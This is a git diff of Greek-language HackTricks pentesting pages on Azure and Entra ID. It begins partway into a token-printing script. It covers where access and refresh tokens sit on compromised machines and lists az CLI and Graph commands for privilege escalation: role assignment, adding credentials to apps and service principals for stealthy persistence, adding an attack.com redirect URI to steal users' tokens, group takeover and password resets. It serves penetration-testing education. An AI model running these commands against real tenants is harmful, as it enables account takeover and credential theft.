+print(f"[i] Expires at: {expiration_time}") + +if args.token_out: +print("\nAccess Token:") +print(tokens.get("access_token", "")) +if tokens.get("refresh_token"): +print("\nRefresh Token:") +print(tokens["refresh_token"]) + +print("\nToken object (JSON):") +print(json.dumps(tokens, indent=2)) +return 0 + + +if __name__ == "__main__": +raise SystemExit(main()) +``` +
+ ## Πού να βρείτε tokens -Από την οπτική ενός επιτιθέμενου είναι πολύ ενδιαφέρον να γνωρίζει πού είναι δυνατόν να βρει κανείς access και refresh tokens όταν, για παράδειγμα, ο υπολογιστής ενός θύματος έχει παραβιαστεί: +Από την προοπτική ενός attacker είναι πολύ χρήσιμο να γνωρίζουμε πού είναι δυνατόν να βρούμε access και refresh tokens όταν, για παράδειγμα, ο υπολογιστής ενός θύματος έχει παραβιαστεί: -- Inside **`/.Azure`** +- Μέσα στο **`/.Azure`** - **`azureProfile.json`** περιέχει πληροφορίες για χρήστες που έχουν συνδεθεί στο παρελθόν -- **`clouds.config contains`** πληροφορίες για subscriptions -- **`service_principal_entries.json`** περιέχει credentials εφαρμογών (tenant id, clients and secret). Only in Linux & macOS -- **`msal_token_cache.json`** contains contains access tokens and refresh tokens. Only in Linux & macOS -- **`service_principal_entries.bin`** and msal_token_cache.bin are used in Windows and are encrypted with DPAPI -- **`msal_http_cache.bin`** είναι ένα cache των HTTP request +- **`clouds.config contains`** παρέχει πληροφορίες για συνδρομές +- **`service_principal_entries.json`** περιέχει credentials εφαρμογών (tenant id, clients και secret). Μόνο σε Linux & macOS +- **`msal_token_cache.json`** περιέχει access tokens και refresh tokens. Μόνο σε Linux & macOS +- **`service_principal_entries.bin`** και msal_token_cache.bin χρησιμοποιούνται σε Windows και είναι κρυπτογραφημένα με DPAPI +- **`msal_http_cache.bin`** είναι cache των HTTP request - Load it: `with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)` -- **`AzureRmContext.json`** περιέχει πληροφορίες για προηγούμενες συνδέσεις χρησιμοποιώντας Az PowerShell (but no credentials) -- Inside **`C:\Users\\AppData\Local\Microsoft\IdentityCache\*`** υπάρχουν αρκετά `.bin` αρχεία με **access tokens**, ID tokens και account information κρυπτογραφημένα με το DPAPI του χρήστη. -- Είναι δυνατό να βρεθούν περισσότερα **access tokens** στα `.tbres` αρχεία μέσα στο **`C:\Users\\AppData\Local\Microsoft\TokenBroken\Cache\`** τα οποία περιέχουν ένα base64 κρυπτογραφημένο με DPAPI με access tokens. -- Σε Linux και macOS μπορείτε να πάρετε **access tokens, refresh tokens and id tokens** από Az PowerShell (αν έχει χρησιμοποιηθεί) τρέχοντας `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"` -- Σε Windows αυτό δημιουργεί μόνο id tokens. -- Είναι δυνατό να δείτε αν χρησιμοποιήθηκε Az PowerShell σε Linux και macOS ελέγχοντας αν υπάρχει το `$HOME/.local/share/.IdentityService/` (αν και τα αρχεία που περιέχονται είναι κενά και άχρηστα) -- Αν ο χρήστης είναι **logged inside Azure with the browser**, σύμφωνα με αυτό το [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web) είναι δυνατόν να ξεκινήσετε το authentication flow με ένα **redirect to localhost**, να κάνετε το browser να autorizάρει αυτόματα το login, και να λάβετε το resh token. Σημειώστε ότι υπάρχουν μόνο λίγες FOCI applications που επιτρέπουν redicet to localhost (όπως az cli ή το powershell module), οπότε αυτές οι εφαρμογές πρέπει να είναι επιτρεπτές. -- Μια άλλη επιλογή που εξηγείται στο blog είναι να χρησιμοποιήσετε το εργαλείο [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow) το οποίο μπορεί να χρησιμοποιήσει οποιαδήποτε εφαρμογή γιατί θα **get the OAuth code to then get a refresh token from the title of the final auth** page χρησιμοποιώντας το redirect URI `https://login.microsoftonline.com/common/oauth2/nativeclient`. +- **`AzureRmContext.json`** περιέχει πληροφορίες για προηγούμενες συνδέσεις χρησιμοποιώντας Az PowerShell (αλλά χωρίς credentials) +- Μέσα στο **`C:\Users\\AppData\Local\Microsoft\IdentityCache\*`** υπάρχουν αρκετά `.bin` αρχεία με **access tokens**, ID tokens και πληροφορίες λογαριασμού κρυπτογραφημένα με το DPAPI του χρήστη. +- Είναι δυνατό να βρείτε περισσότερα **access tokens** στα αρχεία `.tbres` μέσα στο **`C:\Users\\AppData\Local\Microsoft\TokenBroken\Cache\`** τα οποία περιέχουν ένα base64 κρυπτογραφημένο με DPAPI με access tokens. +- Σε Linux και macOS μπορείτε να πάρετε **access tokens, refresh tokens και id tokens** από Az PowerShell (εάν χρησιμοποιείται) εκτελώντας `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"` +- Σε Windows αυτό παράγει μόνο id tokens. +- Μπορείτε να δείτε αν χρησιμοποιήθηκε το Az PowerShell σε Linux και macOS ελέγχοντας αν υπάρχει `$HOME/.local/share/.IdentityService/` (αν και τα περιεχόμενα αρχεία είναι κενά και άχρηστα) +- Αν ο χρήστης είναι **logged inside Azure with the browser**, σύμφωνα με αυτό το [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web) είναι δυνατό να ξεκινήσει η authentication flow με **redirect to localhost**, να κάνετε τον browser να εγκρίνει αυτόματα το login και να λάβετε το refresh token. Σημειώστε ότι υπάρχουν μόνο λίγες FOCI εφαρμογές που επιτρέπουν redirect σε localhost (όπως az cli ή το powershell module), οπότε αυτές οι εφαρμογές πρέπει να είναι επιτρεπτές. +- Μια άλλη επιλογή που εξηγείται στο blog είναι να χρησιμοποιήσετε το εργαλείο [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow) το οποίο μπορεί να χρησιμοποιήσει οποιαδήποτε εφαρμογή επειδή θα **get the OAuth code to then get a refresh token from the title of the final auth** page χρησιμοποιώντας το redirect URI `https://login.microsoftonline.com/common/oauth2/nativeclient`. ## Αναφορές - [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research) - [https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md](https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md) +- [https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/](https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/) +- [https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/](https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md index 4b5f571d4..2036618b7 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md @@ -3,15 +3,15 @@ {{#include ../../../../banners/hacktricks-training.md}} > [!NOTE] -> Σημειώστε ότι **όχι όλες οι λεπτομερείς άδειες** που έχουν οι ενσωματωμένοι ρόλοι στο Entra ID **είναι επιλέξιμες για χρήση σε προσαρμοσμένους ρόλους.** +> Σημειώστε ότι **όχι όλες οι λεπτομερείς άδειες** που έχουν οι ενσωματωμένοι ρόλοι στο Entra ID **είναι επιλέξιμες για χρήση σε custom roles.** ## Ρόλοι -### Ρόλος: Διαχειριστής Ρόλων Υψηλών Δικαιωμάτων +### Ρόλος: Privileged Role Administrator -Αυτός ο ρόλος περιέχει τις απαραίτητες λεπτομερείς άδειες για να μπορεί να αναθέτει ρόλους σε κύριους και να δίνει περισσότερες άδειες σε ρόλους. Και οι δύο ενέργειες θα μπορούσαν να καταχρηστούν για να κλιμακωθούν τα δικαιώματα. +Αυτός ο ρόλος περιέχει τις απαραίτητες λεπτομερείς άδειες για να μπορεί να εκχωρεί ρόλους σε principals και να δίνει περισσότερες άδειες σε ρόλους. Και οι δύο ενέργειες μπορούν να καταχραστούν για να escalate privileges. -- Ανάθεση ρόλου σε χρήστη: +- Εκχώρηση ρόλου σε χρήστη: ```bash # List enabled built-in roles az rest --method GET \ @@ -27,7 +27,7 @@ az rest --method POST \ \"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\" }" ``` -- Προσθέστε περισσότερες άδειες σε έναν ρόλο: +- Προσθέστε περισσότερα δικαιώματα σε έναν ρόλο: ```bash # List only custom roles az rest --method GET \ @@ -52,7 +52,7 @@ az rest --method PATCH \ ### `microsoft.directory/applications/credentials/update` -Αυτό επιτρέπει σε έναν επιτιθέμενο να **προσθέσει διαπιστευτήρια** (κωδικούς πρόσβασης ή πιστοποιητικά) σε υπάρχουσες εφαρμογές. Εάν η εφαρμογή έχει προνομιακές άδειες, ο επιτιθέμενος μπορεί να αυθεντικοποιηθεί ως αυτή η εφαρμογή και να αποκτήσει αυτά τα προνόμια. +Αυτό επιτρέπει σε έναν επιτιθέμενο να **add credentials** (κωδικούς πρόσβασης ή πιστοποιητικά) σε υπάρχουσες εφαρμογές. Εάν η εφαρμογή έχει προνομιούχα δικαιώματα, ο επιτιθέμενος μπορεί να αυθεντικοποιηθεί ως αυτή η εφαρμογή και να αποκτήσει αυτά τα προνόμια. ```bash # Generate a new password without overwritting old ones az ad app credential reset --id --append @@ -61,13 +61,13 @@ az ad app credential reset --id --create-cert ``` ### `microsoft.directory/applications.myOrganization/credentials/update` -Αυτό επιτρέπει τις ίδιες ενέργειες όπως το `applications/credentials/update`, αλλά περιορίζεται σε εφαρμογές μίας μόνο διεύθυνσης. +Αυτό επιτρέπει τις ίδιες ενέργειες με `applications/credentials/update`, αλλά περιορισμένες σε εφαρμογές μονού καταλόγου. ```bash az ad app credential reset --id --append ``` ### `microsoft.directory/applications/owners/update` -Με την προσθήκη του εαυτού τους ως ιδιοκτήτη, ένας επιτιθέμενος μπορεί να χειριστεί την εφαρμογή, συμπεριλαμβανομένων των διαπιστευτηρίων και των δικαιωμάτων. +Προσθέτοντας τους εαυτούς τους ως owner, ένας επιτιθέμενος μπορεί να χειραγωγήσει την εφαρμογή, συμπεριλαμβανομένων των credentials και των permissions. ```bash az ad app owner add --id --owner-object-id az ad app credential reset --id --append @@ -77,40 +77,153 @@ az ad app owner list --id ``` ### `microsoft.directory/applications/allProperties/update` -Ένας επιτιθέμενος μπορεί να προσθέσει μια URI ανακατεύθυνσης σε εφαρμογές που χρησιμοποιούνται από τους χρήστες του ενοικιαστή και στη συνέχεια να μοιραστεί μαζί τους διευθύνσεις URL σύνδεσης που χρησιμοποιούν τη νέα διεύθυνση ανακατεύθυνσης προκειμένου να κλέψει τα διακριτικά τους. Σημειώστε ότι αν ο χρήστης ήταν ήδη συνδεδεμένος στην εφαρμογή, η αυθεντικοποίηση θα είναι αυτόματη χωρίς να χρειάζεται ο χρήστης να αποδεχτεί οτιδήποτε. +Ένας επιτιθέμενος μπορεί να προσθέσει ένα redirect URI σε εφαρμογές που χρησιμοποιούνται από χρήστες του tenant και στη συνέχεια να μοιραστεί μαζί τους login URLs που χρησιμοποιούν το νέο redirect URI προκειμένου να κλέψει τα tokens τους. Σημειώστε ότι αν ο χρήστης ήταν ήδη συνδεδεμένος στην εφαρμογή, η authentication θα γίνει αυτόματα χωρίς ο χρήστης να χρειάζεται να αποδεχθεί οτιδήποτε. -Σημειώστε ότι είναι επίσης δυνατό να αλλάξετε τις άδειες που ζητά η εφαρμογή προκειμένου να αποκτήσετε περισσότερες άδειες, αλλά σε αυτή την περίπτωση ο χρήστης θα χρειαστεί να αποδεχτεί ξανά την προτροπή που ζητά όλες τις άδειες. +Σημειώστε επίσης ότι είναι δυνατόν να αλλάξει κανείς τα permissions που ζητάει η εφαρμογή για να αποκτήσει περισσότερα δικαιώματα, αλλά σε αυτή την περίπτωση ο χρήστης θα πρέπει να αποδεχθεί ξανά την προτροπή (prompt) που ζητάει όλα τα permissions. ```bash # Get current redirect uris az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris" # Add a new redirect URI (make sure to keep the configured ones) az ad app update --id --web-redirect-uris "https://original.com/callback https://attack.com/callback" ``` +### Applications Privilege Escalation + +**Όπως εξηγείται στο [αυτό το άρθρο](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** ήταν πολύ συνηθισμένο να βρίσκονται προεπιλεγμένες εφαρμογές που έχουν ανατεθειμένες **API permissions** τύπου **`Application`**. Μια API Permission (όπως ονομάζεται στην κονσόλα Entra ID) του τύπου **`Application`** σημαίνει ότι η εφαρμογή μπορεί να προσπελάσει το API και να εκτελεί ενέργειες χωρίς περιβάλλον χρήστη (χωρίς χρήστη να κάνει σύνδεση στην εφαρμογή) και χωρίς να απαιτούνται ρόλοι Entra ID για να το επιτρέψουν. Επομένως, είναι πολύ συνηθισμένο να υπάρχουν **high privileged applications in every Entra ID tenant**. + +Στη συνέχεια, αν ένας επιτιθέμενος έχει οποιαδήποτε άδεια/ρόλο που επιτρέπει να **update the credentials (secret o certificate) of the application**, μπορεί να δημιουργήσει νέο credential και στη συνέχεια να το χρησιμοποιήσει για να **authenticate as the application**, αποκτώντας όλες τις άδειες (permissions) που έχει η εφαρμογή. + +Σημειώστε ότι το αναφερόμενο άρθρο μοιράζεται κάποιες **API permissions** κοινών προεπιλεγμένων εφαρμογών της Microsoft, όμως λίγο μετά τη δημοσίευση αυτή η Microsoft διόρθωσε το ζήτημα και πλέον δεν είναι δυνατό να γίνει login ως Microsoft applications. Ωστόσο εξακολουθεί να είναι πιθανό να βρεθούν **custom applications with high privileges that could be abused**. + +How to enumerate the API permissions of an application: +```bash +# Get "API Permissions" of an App +## Get the ResourceAppId +az ad app show --id "" --query "requiredResourceAccess" --output json +## e.g. +[ +{ +"resourceAccess": [ +{ +"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d", +"type": "Scope" +}, +{ +"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa", +"type": "Role" +} +], +"resourceAppId": "00000003-0000-0000-c000-000000000000" +} +] + +## For the perms of type "Scope" +az ad sp show --id --query "oauth2PermissionScopes[?id==''].value" -o tsv +az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv + +## For the perms of type "Role" +az ad sp show --id --query "appRoles[?id==''].value" -o tsv +az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv +``` +
+Βρείτε όλες τις εφαρμογές με δικαιώματα API για μη-Microsoft APIs (az cli) +```bash +#!/usr/bin/env bash +set -euo pipefail + +# Known Microsoft first-party owner organization IDs. +MICROSOFT_OWNER_ORG_IDS=( +"f8cdef31-a31e-4b4a-93e4-5f571e91255a" +"72f988bf-86f1-41af-91ab-2d7cd011db47" +) + +is_microsoft_owner() { +local owner="$1" +local id +for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do +if [ "$owner" = "$id" ]; then +return 0 +fi +done +return 1 +} + +command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; } +command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; } +az account show >/dev/null + +apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)" + +tmp_map="$(mktemp)" +tmp_ids="$(mktemp)" +trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT + +# Build unique resourceAppId values used by applications. +jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids" + +# Resolve resourceAppId -> owner organization + API display name. +while IFS= read -r rid; do +[ -n "$rid" ] || continue +sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)" +owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")" +name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")" +printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map" +done < "$tmp_ids" + +echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId" + +# Print only app permissions where the target API is NOT Microsoft-owned. +while IFS= read -r row; do +app_name="$(jq -r '.[0]' <<<"$row")" +app_id="$(jq -r '.[1]' <<<"$row")" + +while IFS= read -r rra; do +resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")" +map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")" +owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")" +resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")" + +[ -n "$owner_org" ] || owner_org="UNKNOWN" +[ -n "$resource_name" ] || resource_name="UNKNOWN" + +if is_microsoft_owner "$owner_org"; then +continue +fi + +while IFS= read -r access; do +perm_type="$(jq -r '.type' <<<"$access")" +perm_id="$(jq -r '.id' <<<"$access")" +echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}" +done < <(jq -c '.resourceAccess[]' <<<"$rra") +done < <(jq -c '.[2][]' <<<"$row") +done < <(jq -c '.[]' <<<"$apps_json") +``` +
+ ## Service Principals ### `microsoft.directory/servicePrincipals/credentials/update` -Αυτό επιτρέπει σε έναν επιτιθέμενο να προσθέσει διαπιστευτήρια σε υπάρχοντες service principals. Εάν ο service principal έχει ανυψωμένα δικαιώματα, ο επιτιθέμενος μπορεί να αναλάβει αυτά τα δικαιώματα. +Αυτό επιτρέπει σε έναν attacker να προσθέσει credentials σε υπάρχοντες service principals. Εάν ο service principal έχει elevated privileges, ο attacker μπορεί να αναλάβει αυτά τα privileges. ```bash az ad sp credential reset --id --append ``` > [!CAUTION] -> Ο νέος κωδικός πρόσβασης που δημιουργείται δεν θα εμφανίζεται στην κονσόλα ιστού, οπότε αυτό θα μπορούσε να είναι ένας κρυφός τρόπος για να διατηρήσετε την επιμονή σε έναν υπηρεσιακό κύριο.\ +> Ο νέος παραγόμενος κωδικός δεν θα εμφανιστεί στην web κονσόλα, οπότε αυτό μπορεί να είναι ένας stealth τρόπος για να διατηρήσετε persistence σε ένα service principal.\ > Από το API μπορούν να βρεθούν με: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json` -Αν λάβετε το σφάλμα `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` είναι επειδή **δεν είναι δυνατή η τροποποίηση της ιδιότητας passwordCredentials** του SP και πρώτα πρέπει να το ξεκλειδώσετε. Για αυτό χρειάζεστε μια άδεια (`microsoft.directory/applications/allProperties/update`) που σας επιτρέπει να εκτελέσετε: +If you get the error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` it's because **δεν είναι δυνατό να τροποποιηθεί η ιδιότητα passwordCredentials** του SP και πρώτα πρέπει να το ξεκλειδώσετε. Για αυτό χρειάζεστε μια άδεια (`microsoft.directory/applications/allProperties/update`) που σας επιτρέπει να εκτελέσετε: ```bash az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/ --body '{"servicePrincipalLockConfiguration": null}' ``` ### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage` -Αυτό επιτρέπει σε έναν επιτιθέμενο να προσθέσει διαπιστευτήρια σε υπάρχοντες υπηρεσιακούς κύριους. Εάν ο υπηρεσιακός κύριος έχει ανυψωμένα δικαιώματα, ο επιτιθέμενος μπορεί να αναλάβει αυτά τα δικαιώματα. +Αυτό επιτρέπει σε έναν attacker να προσθέσει credentials σε υπάρχοντα service principals. Εάν το service principal έχει elevated privileges, ο attacker μπορεί να αναλάβει αυτά τα privileges. ```bash az ad sp credential reset --id --append ``` ### `microsoft.directory/servicePrincipals/owners/update` -Παρόμοια με τις εφαρμογές, αυτή η άδεια επιτρέπει την προσθήκη περισσότερων ιδιοκτητών σε ένα service principal. Η κατοχή ενός service principal επιτρέπει τον έλεγχο των διαπιστευτηρίων και των αδειών του. +Παρόμοια με τις εφαρμογές, αυτή η άδεια επιτρέπει την προσθήκη περισσότερων ιδιοκτητών σε ένα service principal. Η ιδιοκτησία ενός service principal επιτρέπει τον έλεγχο των διαπιστευτηρίων και των δικαιωμάτων του. ```bash # Add new owner spId="" @@ -128,13 +241,13 @@ az ad sp credential reset --id --append az ad sp owner list --id ``` > [!CAUTION] -> Μετά την προσθήκη ενός νέου ιδιοκτήτη, προσπάθησα να τον αφαιρέσω αλλά η API απάντησε ότι η μέθοδος DELETE δεν υποστηρίζεται, ακόμα και αν είναι η μέθοδος που πρέπει να χρησιμοποιήσεις για να διαγράψεις τον ιδιοκτήτη. Έτσι, **δεν μπορείς να αφαιρέσεις ιδιοκτήτες σήμερα**. +> Αφού πρόσθεσα έναν νέο owner, προσπάθησα να τον αφαιρέσω αλλά το API απάντησε ότι η μέθοδος DELETE δεν υποστηρίζεται, ακόμα κι αν είναι η μέθοδος που χρειάζεσαι για να διαγράψεις τον owner. Έτσι **δεν μπορείτε πλέον να αφαιρέσετε owners**. -### `microsoft.directory/servicePrincipals/disable` και `enable` +### `microsoft.directory/servicePrincipals/disable` and `enable` -Αυτές οι άδειες επιτρέπουν την απενεργοποίηση και την ενεργοποίηση υπηρεσιακών πριγκίπων. Ένας επιτιθέμενος θα μπορούσε να χρησιμοποιήσει αυτή την άδεια για να ενεργοποιήσει έναν υπηρεσιακό πρίγκιπα στον οποίο θα μπορούσε να αποκτήσει πρόσβαση με κάποιο τρόπο για να κλιμακώσει τα προνόμια. +Αυτές οι άδειες επιτρέπουν την απενεργοποίηση και ενεργοποίηση των service principals. Ένας επιτιθέμενος θα μπορούσε να χρησιμοποιήσει αυτήν την άδεια για να ενεργοποιήσει έναν service principal στον οποίο θα μπορούσε να αποκτήσει πρόσβαση με κάποιο τρόπο, προκειμένου να κλιμακώσει προνόμια. -Σημειώστε ότι για αυτή την τεχνική, ο επιτιθέμενος θα χρειαστεί περισσότερες άδειες προκειμένου να αναλάβει τον ενεργοποιημένο υπηρεσιακό πρίγκιπα. +Σημειώστε ότι για αυτήν την τεχνική ο επιτιθέμενος θα χρειαστεί περισσότερες άδειες για να αναλάβει τον έλεγχο του ενεργοποιημένου service principal. ```bash # Disable az ad sp update --id --account-enabled false @@ -144,7 +257,7 @@ az ad sp update --id --account-enabled true ``` #### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials` -Αυτές οι άδειες επιτρέπουν τη δημιουργία και την απόκτηση διαπιστευτηρίων για single sign-on, τα οποία θα μπορούσαν να επιτρέψουν την πρόσβαση σε εφαρμογές τρίτων. +Αυτές οι άδειες επιτρέπουν τη δημιουργία και ανάκτηση credentials για single sign-on, κάτι που μπορεί να επιτρέψει πρόσβαση σε εφαρμογές τρίτων. ```bash # Generate SSO creds for a user or a group spID="" @@ -164,44 +277,36 @@ az rest --method POST \ --headers "Content-Type=application/json" \ --body "{\"id\": \"$credID\"}" ``` -### Εφαρμογές Υπερβάθμισης Δικαιωμάτων - -**Όπως εξηγείται σε [αυτή την ανάρτηση](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**, ήταν πολύ συνηθισμένο να βρίσκουμε προεπιλεγμένες εφαρμογές που έχουν **API permissions** τύπου **`Application`** ανατεθειμένες σε αυτές. Μια API Permission (όπως ονομάζεται στην κονσόλα Entra ID) τύπου **`Application`** σημαίνει ότι η εφαρμογή μπορεί να έχει πρόσβαση στο API χωρίς συμφραζόμενα χρήστη (χωρίς να έχει συνδεθεί χρήστης στην εφαρμογή), και χωρίς να χρειάζεται ρόλους Entra ID για να το επιτρέψει. Επομένως, είναι πολύ συνηθισμένο να βρίσκουμε **υψηλά προνομιακές εφαρμογές σε κάθε tenant Entra ID**. - -Έτσι, αν ένας επιτιθέμενος έχει οποιαδήποτε άδεια/ρόλο που επιτρέπει να **ενημερώσει τα διαπιστευτήρια (μυστικό ή πιστοποιητικό) της εφαρμογής**, ο επιτιθέμενος μπορεί να δημιουργήσει ένα νέο διαπιστευτήριο και στη συνέχεια να το χρησιμοποιήσει για να **αυθεντικοποιηθεί ως η εφαρμογή**, αποκτώντας όλα τα δικαιώματα που έχει η εφαρμογή. - -Σημειώστε ότι το αναφερόμενο blog μοιράζεται κάποιες **API permissions** κοινών προεπιλεγμένων εφαρμογών της Microsoft, ωστόσο λίγο μετά από αυτή την αναφορά, η Microsoft διόρθωσε αυτό το ζήτημα και τώρα δεν είναι δυνατή η σύνδεση ως εφαρμογές της Microsoft πια. Ωστόσο, είναι ακόμα δυνατό να βρείτε **προσαρμοσμένες εφαρμογές με υψηλά προνόμια που θα μπορούσαν να καταχραστούν**. - --- ## Ομάδες ### `microsoft.directory/groups/allProperties/update` -Αυτή η άδεια επιτρέπει την προσθήκη χρηστών σε προνομιακές ομάδες, οδηγώντας σε υπερβάθμιση δικαιωμάτων. +Αυτό το δικαίωμα επιτρέπει την προσθήκη χρηστών σε προνομιούχες ομάδες, οδηγώντας σε privilege escalation. ```bash az ad group member add --group --member-id ``` -**Σημείωση**: Αυτή η άδεια εξαιρεί τις ομάδες ρόλων που μπορούν να ανατεθούν στο Entra ID. +**Σημείωση**: Αυτή η άδεια εξαιρεί τις Entra ID role-assignable groups. ### `microsoft.directory/groups/owners/update` -Αυτή η άδεια επιτρέπει να γίνετε ιδιοκτήτης ομάδων. Ένας ιδιοκτήτης ομάδας μπορεί να ελέγχει τη συμμετοχή και τις ρυθμίσεις της ομάδας, ενδεχομένως αυξάνοντας τα προνόμια στην ομάδα. +Αυτή η άδεια επιτρέπει σε κάποιον να γίνει κάτοχος ομάδων. Ο κάτοχος μιας ομάδας μπορεί να ελέγχει τη σύνθεση και τις ρυθμίσεις της ομάδας, ενδεχομένως κλιμακώνοντας τα προνόμια που σχετίζονται με την ομάδα. ```bash az ad group owner add --group --owner-object-id az ad group member add --group --member-id ``` -**Σημείωση**: Αυτή η άδεια εξαιρεί τις ομάδες ρόλων που μπορούν να ανατεθούν στο Entra ID. +**Σημείωση**: Αυτή η άδεια εξαιρεί τις Entra ID role-assignable groups. ### `microsoft.directory/groups/members/update` -Αυτή η άδεια επιτρέπει την προσθήκη μελών σε μια ομάδα. Ένας επιτιθέμενος θα μπορούσε να προσθέσει τον εαυτό του ή κακόβουλους λογαριασμούς σε προνομιούχες ομάδες που μπορούν να παραχωρήσουν αυξημένη πρόσβαση. +Αυτό το δικαίωμα επιτρέπει την προσθήκη μελών σε μια ομάδα. Ένας επιτιθέμενος θα μπορούσε να προσθέσει τον εαυτό του ή κακόβουλους λογαριασμούς σε ομάδες με προνόμια, παρέχοντας ανυψωμένη πρόσβαση. ```bash az ad group member add --group --member-id ``` ### `microsoft.directory/groups/dynamicMembershipRule/update` -Αυτή η άδεια επιτρέπει την ενημέρωση του κανόνα μέλους σε μια δυναμική ομάδα. Ένας επιτιθέμενος θα μπορούσε να τροποποιήσει τους δυναμικούς κανόνες για να συμπεριλάβει τον εαυτό του σε προνομιούχες ομάδες χωρίς ρητή προσθήκη. +Αυτή η άδεια επιτρέπει την ενημέρωση του κανόνα συμμετοχής σε μια δυναμική ομάδα. Ένας επιτιθέμενος θα μπορούσε να τροποποιήσει τους δυναμικούς κανόνες ώστε να συμπεριλάβει τον εαυτό του σε προνομιούχες ομάδες χωρίς ρητή προσθήκη. ```bash groupId="" az rest --method PATCH \ @@ -212,11 +317,11 @@ az rest --method PATCH \ "membershipRuleProcessingState": "On" }' ``` -**Σημείωση**: Αυτή η άδεια εξαιρεί τις ομάδες ρόλων που μπορούν να ανατεθούν στο Entra ID. +**Σημείωση**: Αυτή η άδεια εξαιρεί τις Entra ID role-assignable groups. -### Δυναμικές Ομάδες Privesc +### Dynamic Groups Privesc -Ενδέχεται να είναι δυνατή η κλιμάκωση δικαιωμάτων από τους χρήστες τροποποιώντας τις δικές τους ιδιότητες για να προστεθούν ως μέλη δυναμικών ομάδων. Για περισσότερες πληροφορίες, ελέγξτε: +Ενδέχεται να είναι δυνατό για χρήστες να κλιμακώσουν προνόμια τροποποιώντας τις ιδιότητές τους ώστε να προστεθούν ως μέλη των dynamic groups. Για περισσότερες πληροφορίες δείτε: {{#ref}} dynamic-groups.md @@ -226,13 +331,13 @@ dynamic-groups.md ### `microsoft.directory/users/password/update` -Αυτή η άδεια επιτρέπει την επαναφορά κωδικού πρόσβασης σε μη διαχειριστές χρήστες, επιτρέποντας σε έναν πιθανό επιτιθέμενο να κλιμακώσει δικαιώματα σε άλλους χρήστες. Αυτή η άδεια δεν μπορεί να ανατεθεί σε προσαρμοσμένους ρόλους. +Αυτή η άδεια επιτρέπει την επαναφορά του κωδικού πρόσβασης για χρήστες χωρίς δικαιώματα διαχειριστή, επιτρέποντας σε έναν πιθανό επιτιθέμενο να κλιμακώσει προνόμια σε άλλους χρήστες. Αυτή η άδεια δεν μπορεί να ανατεθεί σε custom roles. ```bash az ad user update --id --password "kweoifuh.234" ``` ### `microsoft.directory/users/basic/update` -Αυτή η άδεια επιτρέπει την τροποποίηση των ιδιοτήτων του χρήστη. Είναι συνηθισμένο να βρίσκουμε δυναμικές ομάδες που προσθέτουν χρήστες με βάση τις τιμές των ιδιοτήτων, επομένως, αυτή η άδεια θα μπορούσε να επιτρέψει σε έναν χρήστη να ορίσει την απαραίτητη τιμή ιδιότητας για να είναι μέλος μιας συγκεκριμένης δυναμικής ομάδας και να κλιμακώσει τα προνόμια. +Αυτή η άδεια 